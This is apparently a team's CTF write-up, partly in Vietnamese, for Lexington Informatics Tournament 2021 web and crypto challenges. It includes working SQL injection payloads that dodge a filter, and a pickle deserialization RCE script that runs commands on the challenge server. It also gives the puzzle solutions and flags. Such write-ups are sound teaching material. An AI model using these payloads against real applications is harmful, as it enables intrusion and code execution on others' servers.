Series

wannaShare | Writeup Lexington Informatics Tournament CTF 2021 | Web + Crypto

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

Category: WEB

Author: th13ntc

My First Website


Bài này điêu toa cực, cần-trôn U lên để Ctr+F được 2 part của flag, part còn lại tìm không ra, ngồi xem hết assets không có. Ngồi click hết href thì alert ra part 3 =))))

flag{1_l1k3_90s_w3bs1t3s_d351gns}

dizzy


Xem header của response

Url ở trường Refresh là dẫn đến flag.
flag{th1s_is_b4d_pr4ct1c3_app4ar3nt1y}

LIT BUGS


Kéo source về đọc thấy rằng ở server có 3 eventName lắng nghe:

  • login: Nhận teamName và password, check và xử lý chuỗi rất kỹ, response kết quả True/False
  • register: Tương tự với login và kết quả đăng ký hợp lệ lưu vào acounts[].
  • reqName: Nhận id và trả về tên của Team (teamName) không có kiểm tra (xác thực) gì cả.
    Theo description thì flag là 1 teamName. Vậy đây là nơi mình có thể khai thác.
    Tên team ta cần tìm có id được gen ngẫu nhiên theo công thức Math.floor(Math.random() 1000).
    Như vậy
    id nằm trong khoảng từ 0->999, ta có thể brute force attack =)))
    Về phía client, sau khi đăng ký/đăng nhập thành công thì chuyển sang endpoint
    /contest*. Ở endpoint này có đoạn script:

    Tóm tắt:

  • socket.emit("reqName",id) để reuqest tên Team bằng id.
  • socket.on("reqNameRes",(res)=>{$("#teamName").text(res);}); để luôn nhận response và in ra element có id #teamName.
    Ban đầu mình hơi bối rối việc tạo script brute force hay brute force như nào với burpsuite. Và mình tự cảm thấy mình ngu xuẩn =))) Ơ sao không dùng chính javascript, cụ thể là console của webpage này để thực hiện luôn (được include hết thư viên, được gợi ý hết cách dùng).

Copy code này paste vào console luôn, kết quả nhận được:


flag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}

Author: darkmode

Alex-fan-club

Type: sqli

The interface of website
1
2

sqli = 1 in [c in param for c in "*-/ |%"]
  • This challenge filters *-/ |%, it has vulnerable here because it only filters
    space. We can use tab to replace space

Solution

I try to use payload 'or(1)or' and it work (return all result)

First my idea is blind sqli:)), and it is stupid (but it work xD)

select * from achievements where achievement like '%'or(substr((SELECT(tbl_name)FROM(sqlite_master)),1,1)='a'or'%'

I use burp intruder to brute it, and i get 2 tables:

  • achievements
  • flag_is_in_here

But i don't know how to brute column in the table flag_is_in_here

I build the chall in the local and DB browser to query select * from sqlite_master
and It returns 1 column name sql which contains struct of all table.

I continues use burp intruder to brute and I get column flag_column
Brute it and we get flag.
'or(substr((SELECT(flag_column)from(flag_is_in_here)),1,1)='a'or'

Solution 2

When i have solved this chall, i realise we can use tab to replace space

Payload look like:

'union%09select(flag_column)from(flag_is_in_here)union%09select'

A Flask of Pickles

Type: pickle deserialization rce

3
This chall use pickle to serialize object, when you create a bio it create a id with your bio

I have read a post write about pickle rce
https://davidhamann.de/2020/04/05/exploiting-python-pickle/

We take advantage from implementing __reduce__ to get code execution

I found a payload of pickle rce here:
https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

This chall has filter os and open, so we can't use os library to execute

    if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:        return "uhoh"

i use payload above to create a pickle string, but i use subprocess instead

class easyRight():    def __reduce__(self):        import subprocess        return subprocess.check_output, ("ls", )payload = pickle.dumps({"name": "", "bio": easyRight()})payload = base64.b64encode(payload)print("[+] Payload: " + str(payload))

In line 36, the pickle_str will be loads, and the endpoint /new will return result

obj = pickle.loads(pickle_str)

So send this payload above to url/new, we success to RCE

1

Finally code to get flag:

import pickle,base64,requests,reurl = "https://a-flask-of-pickles.litctf.live/"class easyRight():    def __reduce__(self):        import subprocess        return subprocess.check_output, (["cat","flaskofpickles.py"], )payload = pickle.dumps({"name": "", "bio": easyRight()})payload = base64.b64encode(payload)print("[+] Payload: " + str(payload))#Post to endpoint /new_id = requests.post(url + "new", data=payload)#It'll return idurl_result = url + _id.text#Get the resultprint("[+] Query to url",url_result)result = requests.get(url_result).textprint(result)result = "flag{" + re.findall('flag{(.*?)}',result)[0] + "}"print("[+] Get the result:",result)

2

Category: CRYPTO

Author: 4rtist

Zzz

YKE_OK_BKA_NTKE_BKA_GMR_TKH_UWRRFQTS===========================EQHY MRSGMO HK UWRRF GTO EGNQTS, ER PAUH LKTUQORM EYGH HYRB GMR: EYRHYRM HYRB GMR FRLAWQGM HK UKAW KM HK ZKOB, KM LKPPKT HK ZKHY; GTO QV LKPPKT, HK EYGH FGMH KV UKAW KM ZKOB HYRB GFFRMHGQT: VAMHYRM, VMKP EYGH LGAUR QH GMQURU HYGH HYRB GMR GHHMQZAHRU KV GTQPGWU, GTO EYRHYRM GWW GTQPGWU UYGMR QT HYRP ZKHY, KM UKPR FGMHGNR KV HYR KTR KTWB, KHYRMU KV HYR KHYRM KTWB, KM UKPR FGMHGNR KV TRQHYRM GTO UKPR KV ZKHY. VAMHYRM, QT GOOQHQKT HK HYRUR IARUHQKTU, ER PAUH GWUK QTIAQMR EYGH HYR OMRGP QU, GTO VMKP EYGH LGAUR UWRRFRMU UKPRHQPRU OMRGP, GTO UKPRHQPRU OK TKH; KM EYRHYRM HYR HMAHY QU HYGH UWRRFRMU GWEGBU OMRGP ZAH OK TKH GWEGBU MRPRPZRM (HYRQM OMRGP); GTO QV HYQU KLLAMU, EYGH QHU RDFWGTGHQKT QU. GSGQT, [ER PAUH QTIAQMR] EYRHYRM QH QU FKUUQZWR KM TKH HK VKMRURR HYR VAHAMR (QT OMRGPU), GTO QV QH ZR FKUUQZWR, QT EYGH PGTTRM; VAMHYRM, EYRHYRM, UAFFKUQTS QH FKUUQZWR, QH RDHRTOU KTWB HK HYQTSU HK ZR GLLKPFWQUYRO ZB HYR GSRTLB KV PGT, KM HK HYKUR GWUK KV EYQLY HYR LGAUR WQRU QT UAFMG-YAPGT GSRTLB, GTO EYQLY MRUAWH VMKP HYR EKMNQTSU KV TGHAMR, KM KV UFKTHGTRQHB. VQMUH, HYRT, HYQU PALY QU LWRGM, HYGH EGNQTS GTO UWRRF GFFRMHGQT HK HYR UGPR FGMH KV GT GTQPGW, QTGUPALY GU HYRB GMR KFFKUQHRU, GTO UWRRF QU RJQORTHWB G FMQJGHQKT KV EGNQTS. VKM LKTHMGMQRU, QT TGHAMGW GU ERWW GU QT GWW KHYRM PGHHRMU, GMR URRT GWEGBU HK FMRURTH HYRPURWJRU QT HYR UGPR UAZXRLH, GTO HK ZR GVVRLHQKTU KV HYR UGPR: RDGPFWRU GMR-YRGWHY GTO UQLNTRUU, ZRGAHB GTO ASWQTRUU, UHMRTSHY GTO ERGNTRUU, UQSYH GTO ZWQTOTRUU, YRGMQTS GTO ORGVTRUU. HYQU QU GWUK LWRGM VMKP HYR VKWWKEQTS LKTUQORMGHQKTU. HYR LMQHRMQKT ZB EYQLY ER NTKE HYR EGNQTS FRMUKT HK ZR GEGNR QU QORTHQLGW EQHY HYGH ZB EYQLY ER NTKE HYR UWRRFRM HK ZR GUWRRF; VKM ER GUUAPR HYGH KTR EYK QU RDRMLQUQTS URTUR-FRMLRFHQKT QU GEGNR, GTO HYGH RJRMB KTR EYK QU GEGNR FRMLRQJRU RQHYRM UKPR RDHRMTGW PKJRPRTH KM RWUR UKPR PKJRPRTH QT YQU KET LKTULQKAUTRUU. QV EGNQTS, HYRT, LKTUQUHU QT TKHYQTS RWUR HYGT HYR RDRMLQUR KV URTUR-FRMLRFHQKT, HYR QTVRMRTLR QU LWRGM, HYGH HYR KMSGT, QT JQMHAR KV EYQLY GTQPGWU FRMLRQJR, QU HYGH ZB EYQLY HYRB EGNR, EYRT HYRB GMR GEGNR, KM UWRRF, EYRT HYRB GMR GEGNR, KM UWRRF, EYRT HYRB GMR GUWRRF.

Monoalphabetic cipher.

Flag: flag{HOW_DO_YOU_KNOW_YOU_ARE_NOT_SLEEPING}

RSA Improved

n = 10588750243470683238253385410274703579658358849388292003988652883382013203466393057371661939626562904071765474423122767301289214711332944602077015274586262780328721640431549232327069314664449442016399e = 65537ct = 5995952936037255929781924635247478684210608634033130708312547257115162490907542249878843535087479397093661825467058312432783733583919194527896596274111265902276347768535338414466405501311805051241244

Đây là 1 bài RSA cơ bản. Chỉ cần factor n xong là có thể dễ dàng tìm flag.

from Crypto.Util.number import *listt = [2151055861, 2319991937, 2341310833, 2391906757, 2448497717, 2493514393, 2586983803, 2758321513, 2784469417, 2816940109, 2865965429, 3092165243, 3218701459, 3438516511, 3526137361, 3663803701, 3673658161, 3789550043, 3866428117, 3919632263, 4147385899]phi = 1for i in listt :    phi*= i-1e = 65537ct = 5995952936037255929781924635247478684210608634033130708312547257115162490907542249878843535087479397093661825467058312432783733583919194527896596274111265902276347768535338414466405501311805051241244n = 10588750243470683238253385410274703579658358849388292003988652883382013203466393057371661939626562904071765474423122767301289214711332944602077015274586262780328721640431549232327069314664449442016399d = pow(e,-1,phi)ms = pow(ct,d,n)print(long_to_bytes(ms))

Flag: flag{rsa_1s_4_pr3tty_imp0rt4nt_crypt0_4lg0r1thm}

Scottish_flag

Bài này cho hệ 3 phương trình 3 ẩn, nhưng khi rút gọn các biểu thức chỉ còn 1 phương trình bậc 1 với ẩn là 1 nửa của flag. thay ẩn vừa tìm được vào hệ có thể tìm ra được nửa kia 1 cách dễ dàng.

from Crypto.Util.number import *a0 = 1000000000000000000a = 11167218166350596634324970518743041384610511755703179147618262518561344714067317278672955466b = 11167218166350596634324970522379402989880404344356627706412007661522873314144716029510966061c = 11167218166350596634324970517500867796567936885101366588743135261789294824144716029510966061d = a+b-c# a = f0^2 + (f1-a0)^2# b = (f0-a1)^2 +f1^2# c = (f0-a1)^2 + (f1-a0)^2# d = f0^2 +f1^2def root(a, b): #root bignum to int    if b < 2:        return b    a1 = a - 1    c = 1    d = (a1 * c + b // (c ** a1)) // a    e = (a1 * d + b // (d ** a1)) // a    while c not in (d, e):        c, d, e = d, e, (a1 * e + b // (e ** a1)) // a    return min(d, e)ms2 = (d - a + a0**2)//(2*a0)ms = root(2,(d - ms2**2))#ms = 2284117282070585374985910373509225471410386271#ms2 = 2439267596656233729627630559334436199866789245print(long_to_bytes(ms).decode())print(long_to_bytes(ms2).decode())

Flag: flag{6r1t15h_cr0s5_mak35_g00d_pro6I3m}

GiongfNef

Geometry is Fun!

Đề là hình khá thú vị


về ý tưởng : ta tính thử diện tích các hình trên

Quan sát một xíu thì đó là kí tự trong Alphabet, điền đúng form là xong

# flag{I_LOVE_GEO}# flag{i_love_geo}# flag{1_l0v3_g30}# flag{I_Love_Geo}# flag{i_love_GEO}# flag{i_love_GEOMETRY}# flag{i_love_geometry}# flag{1_L0V3_G30M3TRY}# flag{I_LOVE_GEOMETRY}# flag{I_love_GEOMETRY}# flag{I_Love_Geometry}

Dành cả ngày để mò cho đúng form, nhưng không đây mới là flag ?